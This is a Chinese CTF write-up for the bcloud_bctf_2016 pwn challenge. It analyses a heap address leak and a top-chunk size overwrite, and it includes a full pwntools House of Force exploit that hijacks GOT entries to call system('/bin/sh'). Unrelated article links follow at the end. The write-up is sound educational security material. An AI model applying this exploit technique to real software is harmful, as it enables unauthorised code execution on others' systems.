bcloud_bctf_2016

总结

根据本题,学习与收获有:

  • house of force不需要保证top chunksize域是合法的,但是house of orange需要保证size域合法,因为后一种利用方式会把top chunk放在unsorted bin,会有chunk size的检查。
  • house of force一般需要泄露出heap地址,并且需要能改写top chunksize域,还要能分配任意大小的内存,总的来说,条件还是很多的。可以直接分配到got表附近,但是这样会破坏一些got表的内容,也可分配到堆指针数组,一般在bss或者data段。
  • strcpy会一直拷贝源字符串,直到遇到\x0a或者\x00字符。并且在拷贝结束后,尾部添加一个\x00字符,很多off by one的题目就是基于此。

题目分析

题目的运行环境是ubuntu 16,使用libc-2.23.so

checksec



注意archi386-32-little

函数分析

很明显,这又是一个菜单题。首先来看main函数:

main



在进入while循环之前,首先调用了welcome函数引用与参考[1],然后再去执行循环体。继续来看一下welcome中有什么操作。

welcome



这里面调了两个函数,继续分析

get_name

这里面操作为:

  • 向栈变量s写入0x40大小的数据,有一个字节的溢出
  • 申请内存,malloc(0x40),得到的chunk大小为0x48
  • 调用strcpy,把s的数据拷贝到刚刚申请的chunk的用户内存区域。

这里存在一个漏洞点,越界拷贝了堆地址,在后面的漏洞点中会有分析。

顺便放一下read_off_by_one函数和put_info函数:

read_off_by_one:

put_info:

get_org_host

这里涉及到两次向栈变量上写数据,并且两次申请堆内存,两次调用strcpy接口。这里存在着溢出漏洞,后续漏洞点中会进一步分析。

menu

new_note

此住需要注意的点有:

  • ptr_array里面最多填满10个地址
  • 实际申请的chunk的大小是size + 4,能写的大小却是size,基本上不能使用off by one
show_note

edit_note

ptr_array数组和ptr_size数组中取出存储的地址和大小,并重新获取用户输入并写入数据。

del_note

释放指针指向的内存后直接将指针置为0

漏洞点

一开始看这个程序的时候,一直把目光对准了while循环体里面,几个关于note的函数,因为一般情况下,漏洞点会出现在这些函数里面,事实证明,惯性思维害死人。找了半天,啥洞也没找到,最后把目光聚焦在welcome里面的两个函数,才发现了利用点。接下来,详细讲一讲漏洞点。

漏洞点1:get_name泄露堆地址

get_name:

这里画一下栈内存与堆内存的变化:

填充内容前

填充内容后

因此,当填慢0x40个可见字符后,调用put_info打印内容的时候会把上面的chunk的地址给打印出来。

漏洞点2:get_org_host修改top chunk的size域

get_org_host函数:

填充前

往栈变量sp写了数据,并分配内存后

执行两次strcpy后:

可以看到top chunksize域被更改了。

利用思路

知识点

  • 本题主要使用House of Force Attack,注意,这个攻击方法在2.23、2.27版本的libc是奏效的,在libc-2.29.so加了top chunksize域合法性的校验。
  • 计算大小的时候,可以就直接给malloc传一个负数,会自动转化为正整数的。
  • 可以在调试过程中确定要分配的那个大小,计算得到的size可能会有一些偏移。

利用过程

利用步骤:

  • get_name接口中,输入0x40 * 'a',泄露出堆地址
  • 通过get_org_host覆盖top chunksize,修改为0xffffffff
  • 利用house of force分配到ptr_array,即地址为0x0x804b120
  • 连续分配4个用户大小为0x44大小的chunk A、B、C、D。那么,编辑chunk A的时候,就能直接修改ptr_array数组元素的地址。引用与参考[2]
  • 调用edit_note,编辑chunk A,将ptr_array[2]设置为free@got,将ptr_array[3]设置为printf@got
  • 调用edit_note,编辑ptr_array[2]的内容为puts@plt,就是将free@got修改为了puts@plt地址。
  • 调用del_note,去释放ptr_array[3],实际上调用的是puts打印出来了printf的地址。
  • 再次调用edit_note,编辑chunk A,将ptr_array[0]设置为0x804b130ptr_array[2]设置为free@got,将ptr_array[4]写为/bin/sh
  • 调用edit_note,将free@got修改为了system地址
  • 调用del_note,释放ptr_array[0],即可getshell

EXP

调试过程

定义好函数:

def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline() def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline() def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))

执行get_name,泄露heap地址:

sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)

执行get_org_host,修改top chunksize0xffffffff

sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")

计算出top chunk的地址,分配到0x804b120

top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0

连续分配四块chunk,修改free@got的内容为puts@plt,泄露出libc的地址:

free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)

计算出system地址,修改free@gotsystem函数的地址,并准备好/bin/sh

system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))

释放带有/bin/shchunk,即可getshell

del_note(0)

完整exp

from pwn import *
context.update(arch='i386', os='linux') sh = process('./bcloud_bctf_2016') LOG_ADDR = lambda s, i:log.info('{} ===> {}'.format(s, i)) def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline() def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline() def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx)) sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40) leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr) sh.sendafter("Org:\n", 'a' * 0x40) sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n") top_chunk_addr = leak_heap_addr + 0xd0 ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr new_note(margin - 20, "") # 0 free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010 for _ in range(4):
new_note(0x40, 'aa') edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got)) edit_note(2, p32(puts_plt)) del_note(3) msg = sh.recvuntil("Delete success.\n") printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr) if all_parsed_args['debug_enable']:
offset = 0xe8d0 # 0x10470
else:
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
LOG_ADDR('libc_base', libc_base)
offset = libc.dump('printf') - libc.dump('system')
LOG_ADDR('offset', offset) system_addr = printf_addr - offset edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh') edit_note(2, p32(system_addr)) del_note(0) sh.interactive()

引用与参考

以下为引用与参考,可能以脚注的形式呈现!

[1]:本文的函数均已重命名,原二进制文件不带符号信息

[2]:其实这里可以直接去控制ptr_size数组,一直到ptr_array,这样还可以控制size,分配一个chunk就够操作了。

bcloud_bctf_2016的更多相关文章

  1. bcloud_bctf_2016(house of force)

    例行检查我就不放了,该程序是32位的程序 将程序放入ida中 进行代码审计 首先这这里有一个off by null 可以通过这里泄露出来第一个chunk的地址信息 这里也有同样的问题,我看ha1vk师 ...

随机推荐

  1. [cf1305G]Kuroni and Antihype

    对整个过程构造一张有向图,其中$(x,y)\in E$当且仅当$x$把$y$加入,且边权为$a_{x}$ 显然这是一棵外向树森林,并再做如下两个构造: 1.新建一个点$a_{0}=0$,将其向所有入度 ...

  2. [cf1137F]Matches Are Not a Child's Pla

    显然compare操作可以通过两次when操作实现,以下仅考虑前两种操作 为了方便,将优先级最高的节点作为根,显然根最后才会被删除 接下来,不断找到剩下的节点中(包括根)优先级最高的节点,将其到其所在 ...

  3. vue 3 学习笔记 (七)——vue3 中 computed 新用法

    vue3 中 的 computed 的使用,由于 vue3 兼容 vue2 的选项式API,所以可以直接使用 vue2的写法,这篇文章主要介绍 vue3 中 computed 的新用法,对比 vue2 ...

  4. .NET 开源免费图表组件库,Winform,WPF 通用

    大家好, 我是等天黑, 今天给大家介绍一个功能完善, 性能强悍的图表组件库 ScottPlot, 当我第一次在 github 上看到这个库, 我看不懂,但我大受震撼, 这么好的项目当然要分享出来了. ...

  5. 统计学习1:朴素贝叶斯模型(Numpy实现)

    模型 生成模型介绍 我们定义样本空间为\(\mathcal{X} \subseteq \mathbb{R}^n\),输出空间为\(\mathcal{Y} = \{c_1, c_2, ..., c_K\ ...

  6. 题解 P5320 - [BJOI2019]勘破神机(推式子+第一类斯特林数)

    洛谷题面传送门 神仙题(为什么就没能自己想出来呢/zk/zk) 这是我 AC 的第 \(2\times 10^3\) 道题哦 首先考虑 \(m=2\) 的情况,我们首先可以想到一个非常 trivial ...

  7. Pandas 简介

    Pandas 简介 pandas 是 python 内基于 NumPy 的一种工具,主要目的是为了解决数据分析任务.Pandas 包含了大量库和一些标准的数据模型,提供了高效地操作大型数据集所需的工具 ...

  8. logname

    logname命令用来显示用户名称. 语法 logname(选项) 选项 --help:在线帮助: --vesion:显示版本信息.

  9. 巩固javaweb的第二十四天

    巩固内容: 提示用户信息 在验证失败之后通常需要提示用户错误信息,可以通过下面的代码完成: alert("地址长度大于 50 位!"); 当使用 alert 提示错误信息时,参数是 ...

  10. 数仓day03-----日志预处理

    1. 为什么要构建一个地理位置维表(字典) 在埋点日志中,有用户的地理位置信息,但是原始数据形式是GPS坐标,而GPS坐标在后续(地理位置维度分析)的分析中不好使用.gps坐标的匹配,不应该做这种精确 ...